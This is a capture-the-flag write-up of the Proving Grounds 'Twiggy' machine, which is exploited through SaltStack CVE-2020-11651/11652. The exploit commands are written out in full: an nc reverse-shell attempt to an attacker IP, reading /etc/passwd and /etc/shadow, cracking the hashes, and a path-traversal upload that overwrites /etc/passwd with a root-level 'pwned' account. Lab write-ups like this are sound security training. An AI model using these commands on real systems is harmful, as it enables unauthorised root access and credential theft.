# Twiggy

**Source**: Proving Grounds\
**OS**: Linux\
**Community Rating**: Intermediate

## **Enumeration & Reconnaissance**

* I started with autorecon as usual and found the following open ports:
  * **SSH (22)**
  * DNS (53)
  * **HTTP (80)**
  * 4505 & 4506
  * **HTTP (8000)**

## **Service Analysis**

* I began with the HTTP servers. The first one on port 80 hosted an application named Mezzanine with an admin login panel, a promising target. I tried multiple credentials (`admin:admin`, `admin:password`, etc.) but none worked. I checked online for the default password (`admin:default`) but that didn’t work either. I also looked for CVEs, but nothing surfaced.

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FcWREur4cOPLEp7bDNpQx%2Fimage.png?alt=media&#x26;token=f320034d-7ca1-4073-af70-5a52e0439ed3" alt="" width="563"><figcaption><p>Mezzanine</p></figcaption></figure>

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FtyeVYSvb4BIBRPWWPnpE%2Fimage.png?alt=media&#x26;token=1d3e39ca-f87c-4217-8c40-83d73725c401" alt="" width="563"><figcaption><p>Admin Login Portal</p></figcaption></figure>

* Next, I moved to HTTP (8000), which exposed what appeared to be API endpoints. I interacted with them but only received 404 responses showing "**CherryPy 5.6.0**". The only CVE I found there was related to XSS, which wasn’t useful at the moment.

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FVJSCpiKgsyJe2kLbpovf%2Fimage.png?alt=media&#x26;token=21fb074f-ee53-42b6-a6e2-50f7a318e8ae" alt="" width="563"><figcaption><p>HTTP (8000)</p></figcaption></figure>

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FHb6uZlFvpG6xqxTOXNkS%2Fimage.png?alt=media&#x26;token=e196b3d3-2c33-4ff6-8b6a-fbbb4d7f5ba5" alt="" width="563"><figcaption><p>CherryPy 5.6.0</p></figcaption></figure>

* Stuck, I went back to the remaining ports: 4505 and 4506. Nmap didn’t recognize these ports clearly, the scan output only displayed _**"ZeroMQ ZMTP 2.0"**_.&#x20;

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FSAKRhZqVj6DvEFJnLb8V%2Fimage.png?alt=media&#x26;token=e7714c2a-cea0-4c5e-b688-466b0f27aca1" alt="" width="563"><figcaption><p>ZeroMQ ZMTP 2.0</p></figcaption></figure>

## **Gaining Initial Access**

* Searching for vulnerabilities, I found **CVE-2020-11652** & **CVE-2020-11651** (**Saltstack 3000.1** vulnerabilities) which provide RCE, the HTTP 8000 responses included a header hinting at Saltstack.

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FGTlTc8uVnASvWQimieye%2Fimage.png?alt=media&#x26;token=7af5c0a6-94e7-459c-b692-9317ecf33846" alt="" width="375"><figcaption><p>Salt-API/3000-1</p></figcaption></figure>

* I downloaded the PoC and had to install several modules first for it to work:

{% code overflow="wrap" fullWidth="true" %}
```bash
python -m venv .venv
source .venv/bin/activate
pip install salt
pip install pyyaml
pip install looseversion
pip install packaging
pip install tornado
pip install msgpack
pip install distro
pip install jinja2
pip install zmq
```
{% endcode %}

* I attempted to get RCE using the PoC with:

{% code overflow="wrap" fullWidth="true" %}
```bash
python exploit.py --master 192.168.197.62 --exec "nc 192.168.45.201 8000 -e /bin/sh"
```
{% endcode %}

* That attempt to execute arbitrary commands didn’t work. I then tried to read files instead, and that worked:

{% code overflow="wrap" fullWidth="true" %}
```bash
python exploit.py --master 192.168.197.62 -r /etc/passwd
```
{% endcode %}

* I managed to read both /etc/passwd and /etc/shadow. I attempted to crack the root password, but that didn’t yield results.

{% code overflow="wrap" fullWidth="true" %}
```bash
unshadow passwd shadow
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
{% endcode %}

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FL1bL3OcB6NxjvtJAfLch%2Fimage.png?alt=media&#x26;token=1deec66b-c945-45db-b5b2-bd067e729494" alt=""><figcaption><p>Can't Crack</p></figcaption></figure>

* Noticing an upload feature in the exploit, I considered replacing the passwd file. I tested with a random file to a random directory and it failed, out of desperation I still tried to replace the **/etc/passwd** file itself.
* I added a new user, **pwned**, by generating a password hash with:

{% code overflow="wrap" fullWidth="true" %}
```bash
openssl passwd pwned
```
{% endcode %}

* Then I appended the following line to the passwd file to create a root-level account:

{% code overflow="wrap" fullWidth="true" %}
```
pwned:$1$D/X2r2oc$ECKG4TeHHXumj2tUrYxaA/:0:0:root:/root:/bin/bash
```
{% endcode %}

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FaLOmQ9SXoLaYSWOiFvb4%2Fimage.png?alt=media&#x26;token=c1cf1e2b-7857-4d0a-b458-ed6b3a76ecfc" alt="" width="375"><figcaption><p>New passwd File</p></figcaption></figure>

* After appending it, I uploaded the modified passwd file back to the target.&#x20;

{% code overflow="wrap" fullWidth="true" %}
```bash
python exploit.py --master 192.168.197.62 --upload-src passwd --upload-dest ../../../../../../etc/passwd
python exploit.py --master 192.168.197.62 -r /etc/passwd
```
{% endcode %}

* Crossed fingers, I retrieved the file, and sure enough, the new user was appended. I then SSHed into the target and that worked. I was in as root!

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FitCVyy4N18kZ4XnixNJk%2Fimage.png?alt=media&#x26;token=642be00e-2f34-47f8-a00f-e392feaa910a" alt="" width="563"><figcaption><p>SSH as pwned</p></figcaption></figure>

## **Lessons Learned**

* When standard web authentication bypasses fail, exploring less obvious ports and services (like the ZeroMQ ports) can reveal alternative attack vectors.
* Using error-based or file read vulnerabilities to dump critical system files (e.g., /etc/passwd and /etc/shadow) can be a viable path to gaining initial access.
* If direct cracking of the root password fails, consider creative methods such as replacing the passwd file to add a new user.
